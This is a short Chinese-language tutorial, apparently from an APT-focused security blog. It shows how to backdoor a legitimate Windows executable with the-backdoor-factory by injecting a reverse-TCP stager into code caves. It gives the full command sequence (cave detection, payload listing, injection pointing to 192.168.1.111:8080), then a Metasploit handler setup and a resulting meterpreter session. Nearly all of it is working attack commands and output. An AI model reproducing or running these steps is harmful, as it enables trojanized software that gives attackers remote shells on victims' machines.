专注APT攻击与防御 https://micropoor.blogspot.com/
项目地址: https://github.com/secretsquirrel/the-backdoor-factory
原理:可执行二进制文件中有大量的00,这些00是不包含数据的,将这些数据替换成payload,并且在程序执行的时候,jmp到代码段,来触发payload。
以项目中的过磅系统为例:
root@John:~/Desktop# git clone https://github.com/secretsquirrel/the-backdoor- factory.git //安装the-backdoor-factory
root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -S //检测是否支持后门植入
root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -c -l 150 //测试裂缝空间size150
root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -s show //查看可用payload
root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f ~/demo/guobang.exe -H 192.168.1.111 -P 8080 -s iat_reverse_tcp_stager_threaded //插入payload,并生成文件。
root@John:~/Desktop/the-backdoor-factory# md5sum ./guobang.exe /root/demo/guobang.exe //对比原文件与生成文件MD5值
root@John:~/Desktop/the-backdoor-factory# du -k ./guobang.exe /root/demo/guobang.exe //对比文件大小
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.111
lhost => 192.168.1.111
msf exploit(handler) > set lport 8080
lport => 8080
msf exploit(handler) > exploit -j
//开启本地监听
//打开软件
meterpreter > getuid
Server username: John-PC\John
//确定目标
Micropoor